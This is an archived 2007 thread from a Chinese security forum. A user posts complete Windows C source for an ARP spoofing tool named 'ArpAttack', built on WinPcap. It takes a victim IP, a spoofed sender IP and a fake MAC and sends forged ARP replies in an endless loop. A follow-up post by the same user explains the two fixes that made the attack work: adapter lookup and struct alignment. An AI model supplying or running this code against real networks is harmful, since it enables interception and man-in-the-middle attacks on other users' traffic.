邪恶八进制信息安全团队技术讨论组's Archiver

x14oh4o 2007-9-9 14:23

[讨论]ARP程序的一个小问题

议题提交:X14o-H4o
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
跟着某文章做了 个 arp欺骗的小程序 但是用后发现出错了 不知道哪里出了错 特来请教
[code]
#include <winsock2.h>
#include <stdio.h>
#include <Iphlpapi.h>
#include "Packet32.h"


#pragma comment(lib, "packet.lib")
#pragma comment(lib, "WS2_32.lib")
#pragma comment(lib, "Iphlpapi.lib")

typedef struct _et_header  //以太网头部
{
  unsigned char  eh_dst[6]; //真实的MAC地址
  unsigned char  eh_src[6]; //虚拟的MAC地址
  unsigned short eh_type;  //arp报文类型 0x0806
}ET_HEADER;

typedef struct _arp_header  //ARP头部
{
  unsigned short arp_hdr; //硬件地址类型 以太网 0x0001
  unsigned short arp_pro; //上层协议地址类型  IP协议 0x0800
  unsigned char  arp_hln; //MAC地址长度 0x06
  unsigned char  arp_pln; //IP地质长度 0x04
  unsigned short arp_opt; //操作码 0x0001 请求 0x0002 应答
  unsigned char  arp_sha[6]; //发送方 MAC
  unsigned long  arp_spa;  //发送方 IP
  unsigned char  arp_tha[6]; //接收方 MAC
  unsigned long  arp_tpa;  //接收方 IP
}ARP_HEADER;


void StrToMac(char *str,unsigned char *mac)
{
char *str1;
int i;
int low,high;
char temp;
for(i=0;i<6;i++)
{
   str1=str+1;
   switch(*str)
   {
    case &#39;a&#39; : high=10;break;
    case &#39;b&#39;: high=11;break;
    case &#39;c&#39;: high=12;break;
    case &#39;d&#39;: high=13;break;
    case &#39;e&#39;: high=14;break;
    case &#39;f&#39;: high=15;break;
    default: temp=*str;
      high=atoi(&temp);
   }
   switch(*str1)
   {
    case &#39;a&#39; : low=10;break;
    case &#39;b&#39;: low=11;break;
    case &#39;c&#39;: low=12;break;
    case &#39;d&#39;: low=13;break;
    case &#39;e&#39;: low=14;break;
    case &#39;f&#39;: low=15;break;
    default:temp=*str1;
     low=atoi(&temp);
   }
   mac[i]=high*16+low;
   str+=2;
}
}

int about()
{
  printf("Example : ArpAttack 被攻击方IP 发送方IP 假的MAC地址\r\n");
  return 1;
}
int GetRemoteMac(unsigned char*remoteMac,char *remoteIP)//获取某IP真实mac地址 并输出
{
//  remoteIP="10.200.203.179";
  WSADATA wsdata;
  ULONG remoteAddr=0,macAddrlen=6;
  unsigned char remoteMacTemp[6]={0};
  
  if(WSAStartup(MAKEWORD(2,1),&wsdata)!=0)
  {
    printf("WSAStartup Error!\r\n");
    return 0;
  }
  remoteAddr=inet_addr(remoteIP);
  if(SendARP(remoteAddr,(unsigned long)NULL,(PULONG)&remoteMacTemp,&macAddrlen)!=NO_ERROR)
  {
    printf("Get Remote MAC failed!\r\n");
    return 0;
  }
  memcpy(remoteMac,remoteMacTemp,6);
  printf("Remote IP:%s MAC:",remoteIP);
  for (int i=0;i<6;i++)
  {
    printf("%.2x-",remoteMac[i]);
  }
  printf("\r\n");

  return 1;


}



int main(int argc,char *argv[])
{
  static CHAR adapter_list[10][1024];
  ULONG adapter_length=1024;
  WCHAR adapter_name[2048];
  WCHAR *name1,*name2;
  ULONG i;
  LPADAPTER lpAdapter;
  if (argc<4)
  {
    about();
    return 0;
  }
  unsigned char remoteMac[6]={0};
  if(!GetRemoteMac(remoteMac,argv[1]))
  {
    printf("GetRemoteMac Error!\r\n");
    return -1;
  }
  
//-------------------------------------------------------------------------

  if(PacketGetAdapterNames((char*)adapter_name,&adapter_length)==FALSE) //获取网卡列表
  {
    printf("PacketGetAdapterNames Error!\r\n");
    return -1;
  }
  
     name1=adapter_name;
     name2=adapter_name;
     i=0;
     
     while((*name1!=&#39;\0&#39;)||(*(name1-1)!=&#39;\0&#39;))
     {
       if(*name1==&#39;\0&#39;)
       {
         memcpy(adapter_list[i],name2,2*(name1-name2));
         name2=name1+1;
         printf("\r\n%s\r\n",adapter_list[i]);
         i++;
       }
       name1++;
     }


  //--------------------------------------------------------------------------

  lpAdapter=(LPADAPTER)PacketOpenAdapter((LPTSTR)adapter_list[0]);
  if(!lpAdapter||(lpAdapter->hFile==INVALID_HANDLE_VALUE))
  {
    printf("PacketOepnAdapter Error!\r\n");
    return -1;
  }
  
  unsigned char fakemac[6]={0};
  StrToMac(argv[3],fakemac);
  
  //---------------------------------------------------------------------------
  //构造一个arp包
  ET_HEADER et_header;
  ARP_HEADER arp_header;
  memcpy(et_header.eh_dst,remoteMac,6);
  memcpy(et_header.eh_src,fakemac,6);
  et_header.eh_type=htons(0x0806);

  arp_header.arp_hdr=htons(0x0001);
  arp_header.arp_pro=htons(0x0800);
  arp_header.arp_hln=0x06;
  arp_header.arp_pln=0x04;
  arp_header.arp_opt=htons(0x0002);
  
  arp_header.arp_spa=inet_addr(argv[2]); //发送方ip
  memcpy(arp_header.arp_sha,et_header.eh_src,6);
  arp_header.arp_tpa=inet_addr(argv[1]); //被欺骗的IP
  memcpy(arp_header.arp_tha,et_header.eh_dst,6);

  char buffer[512]={0};
  memcpy(buffer,&et_header,sizeof(ET_HEADER));
  memcpy(buffer+sizeof(ET_HEADER),&arp_header,sizeof(ARP_HEADER));

  //------------------------------------------------------------------------

  LPPACKET lpPacket;

  lpPacket=PacketAllocatePacket(); //分配内存

  PacketInitPacket(lpPacket,buffer,64);//初始化

  if(PacketSetNumWrites(lpAdapter,2)==FALSE) //设置发送次数
  {
    printf("PacketSetNumWrites Error!\r\n");

  }
  while(TRUE)
  {
    struct in_addr sAddr,tdAddr;
    sAddr.S_un.S_addr=arp_header.arp_spa;
    tdAddr.S_un.S_addr=arp_header.arp_tpa;
   
    if(PacketSendPacket(lpAdapter,lpPacket,TRUE)==FALSE) //发送包
    {
      printf("PacketSendPacket Error!\r\n");
      break;
    }
    Sleep(2000);
  }
  PacketFreePacket(lpPacket);//释放内存
  PacketCloseAdapter(lpAdapter); //关闭网卡


  return 1;
}
[/code]

单步跟踪后 发现是 PacketSetNumWrites 这个API 的地方出了错 但是不知道为什么出错
[s:269] 大家帮忙看看[s:269]

x14oh4o 2007-10-1 10:16

已经解决了 这帖是N天前发的. 现在ARPSNIFFER都搞出了. 等邪八审核个帖子 等的我花都谢了
第一个问题:

打开网卡时失败 弄了俩天了..此问题非常之变态. .后来有个 有位老师告诉我说网上的 取网卡的名字都是错的 网上大部分用的是 PacketGetAdapterNames 取所有网卡名字的字符串 而 老师告诉我 正确的应该用 GetAdaptersInfo 来取 其网卡信息 然后再 从相关结构体中取出 这个问题算是解决了 花了我2天时间 郁闷

第二个问题:

自己构造的 ARP包是能正确发送了..但是没有效果... 哇靠 然后 又去问 朋友

朋友帮忙看了下源代码...发现 字节问题...一个ARP包 的字节是 多少来着 不记得了 但是我的2个结构体加起来 是超过了那个 字节 为什么会这样呢 ? 因为结构体 有自动 数据对齐的功能 详细情况 大家也应该清楚 然后我就自己设置 了 下 对齐的字节 包发送了..而且也有效果了
[s:264]

页: [1]
© 1999-2008 EvilOctal Security Team